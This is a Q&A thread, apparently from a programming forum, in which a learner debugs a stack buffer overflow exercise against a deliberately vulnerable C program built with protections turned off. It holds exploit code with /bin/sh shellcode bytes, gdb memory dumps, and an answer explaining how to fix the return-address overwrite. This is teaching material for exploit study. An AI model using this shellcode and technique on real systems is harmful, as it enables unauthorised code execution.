2
votes

I am learning ethical hacking, so I am doing simple overflow stack attack to overwrite saved return pointer. Here's my vulnerable program(compiled without canary and NX protection,

-fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0

) and program, that creates buffer(NOP__SHELLCODE__RET) and calls vulnerable program. Everything is really simple, however dont work -_-. Overflowing is working, but shellcode after it isn't performed, but saved return pointer in vulnerable program is on NOP.
Vulnerable program(command.c):

void somefunc(char **argv){
    char buffer[30];
    strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
    if(argc==2)
        somefunc(argv); 
    else
        printf("There is no args"); 
    printf("__RET FROM MAIN OF COMMAND__");
}

Exploit(exploit.c):

//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv) 
{
    unsigned int mem_i , ret, *ptr, offset=0; 
    if(argc < 2){
        printf("Usage: <exploit> offset\n"); 
        return 0;
    }
    offset = atoi(argv[1]); 
    const char *cc = "./command"; 
    char* buffer = (char*)malloc(200); 
    bzero(buffer, 200); 
    ret = (unsigned int)&mem_i + offset; 
    for(mem_i = 0; mem_i < 160; mem_i+=4) //writing data with RET(return address pointer)
        *((unsigned int *)(buffer+mem_i)) = ret;
    memset(buffer, 0x90, 100);//            NOP Sledding
    memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//writing shelcode
    execl(cc, cc, buffer, NULL);//exec vulnerable programm
//  -----------------------------------------------------------------------------------------
//  |               NOP                     |       shellcode       |       RET             |
//  -----------------------------------------------------------------------------------------
}

as I have noticed, shellcode perform /bin/sh So there's reason to look at what saying my favourite gdb ;)

----> gdb exploit
...
/*breakpoint at "execl(cc, cc, buffer, NULL);", before it performed*/
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090  0x90909090  0x90909090  0x90909090/*It is NOP*/
...
0x5555555592f0: 0x90909090  0x90909090  0x90909090  0x90909090
0x555555559300: 0x90909090 '0xfe58426a  0x529948c4  0x622fbf48/*SHELLCOdE*/
0x555555559310: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949'
0x555555559320: 0xffffde05  0xffffde44  0xffffde44  0xffffde44/*return address pointer*/
0x555555559330: 0xffffde44  0xffffde44  0xffffde44  0xffffde44
(gdb) next
/*next we are goint in command, because code calling it(execl(cc, cc, buffer, NULL)*/
(gdb) disass main
...
0x00005555555551ef <+32>:   call   0x555555555169 <somefunc>
0x00005555555551f4 <+37>:   jmp    0x555555555207 <main+56>/*this address somefunc() 
will save as saved return pointer*/
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8       strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddd0: 0xffffddf0  0x00007fff '0x555551f4  0x00005555'
/*it is saved return pointer, that we need to overwrite, 0x00005555555551f4)*/
...
(gdb) next
//have writed out buffer in stack
(gdb) x/64xw $rsp
...
0x7fffffffddd0: 0x90909090  0x90909090  '0x90909090 0x90909090'/*we have 
overwritten saved return pointer to NOP*/
0x7fffffffdde0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffddf0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffde00: 0x90909090  0x90909090  0x90909090  0x90909090
                            /*next is going shellcode*/
0x7fffffffde10: 0x90909090  '0xfe58426a 0x529948c4  0x622fbf48
0x7fffffffde20: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949
0x7fffffffde30: 0xffffde05' 0xffffde44  0xffffde44  0xffffde44
0x7fffffffde40: 0xffffde44  0xffffde44  0xffffde44  0xffffde44

Everything should work, because we have overwritten saved return pointer(0x00005555555551f4) to NOP, however shellcode isn't performed. What's the problem?

1
@Lundin you are missing the point of the exercise he is trying to do. - spicy.dll
The value at address 0x0x7fffffffddd8 is the return address, not the return code. You need to overwrite it with the address of your shellcode, not with the code itself. As it stands, when the program executes ret it will jump to address 0x9090909090909090 which is obviously not what you want. - Nate Eldredge
Your for line carefully filled your buffer with the value ret, which apparently is the return address you desire - and then on the very next line you went and overwrote the whole thing with nops. That doesn't make sense. - Nate Eldredge
Also *((unsigned int *)(buffer+mem_i)) = ret; is wrong on a 64-bit system - unsigned int is only 32 bits, but addresses are 64 bits. If you're trying to use 32-bit example code in a 64-bit program, it's not going to work; you would need to build it as a 32-bit program using -m32 when compiling. - Nate Eldredge
@NateEldredge, year, I know about this stupid lines, should be (for(mem_i=100+sizeof(shellcode)...)), however i have decided to leave so, just in case. I didn't know about 32bit. Thank u. I should use uint64 - Rainbow

1 Answers

2
votes

The return pointer should point to your shell code or NOP sled, not necessarily be a part of it.

Because your overflow overwrites the return address with NOP instructions, you're telling the victim program to return to address 0x9090909090909090 after the function completes. However, this isn't a memory address you control, so your program will most likely just SEGFAULT.

You should instead overwrite the return pointer to point to somewhere in your NOP sled on the stack after the return pointer. At the end of the sled of NOP instructions, your shellcode should lie.

So instead of NOP instructions, your overwritten return pointer should be a memory address you now control, like 0x7fffffffde10. Now the program will set the instruction pointer to your NOP sled, which will lead to your shellcode.

And just a hint: You may need to encode the address backwards depending on the endianness of your system.

How to fix your exploit code

You essentially need to figure out how many bytes you need to put in the victim program's buffer until you begin to overwrite the return pointer. Once this is figured out, write another for loop before the one for your NOP sled that fills the buffer with padding bytes (it's common just to use the character 'A'), then put the address that points inside your NOP sled, then write your NOP sled, then your shellcode.

Additional reading: https://resources.infosecinstitute.com/topic/return-oriented-programming-rop-attacks/